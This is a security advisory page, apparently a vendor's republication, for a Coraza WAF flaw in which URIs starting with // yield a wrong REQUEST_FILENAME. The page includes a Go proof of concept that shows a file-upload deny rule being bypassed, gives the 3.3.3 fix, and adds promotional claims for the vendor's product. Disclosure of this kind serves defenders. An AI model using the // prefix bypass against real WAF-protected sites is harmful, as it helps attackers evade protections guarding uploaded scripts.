GHSA-q9f5-625g-xm39
MEDIUMOWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/jptosso/coraza-waf🐹github.com/corazawaf/coraza/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.
Details
If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME.
For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.
The root cause is the usage of url.Parse to parse the URI in ProcessURI.
url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path).
//bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.
PoC
package main
import (
"fmt"
"net/url"
"os"
"github.com/corazawaf/coraza/v3"
)
const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`
func main() {
var testURL = "//bar/uploads/foo.php"
if os.Getenv("TEST_URL") != "" {
testURL = os.Getenv("TEST_URL")
}
fmt.Printf("Testing URL: %s\n", testURL)
config := coraza.NewWAFConfig().WithDirectives(testRule)
waf, err := coraza.NewWAF(config)
if err != nil {
panic(err)
}
tx := waf.NewTransaction()
tx.ProcessURI(testURL, "GET", "HTTP/1.1")
in := tx.ProcessRequestHeaders()
if in != nil {
fmt.Printf("%+v\n", in)
}
}
Impact
Potential bypass of rules using REQUEST_FILENAME.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/jptosso/coraza-waf | all versions | 3.3.3 |
| 🐹Go | github.com/corazawaf/coraza/v3 | all versions | 3.3.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/jptosso/coraza-waf. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/jptosso/coraza-waf to 3.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q9f5-625g-xm39 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-q9f5-625g-xm39 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-q9f5-625g-xm39. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-q9f5-625g-xm39 in your dependencies?
O3 detects GHSA-q9f5-625g-xm39 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.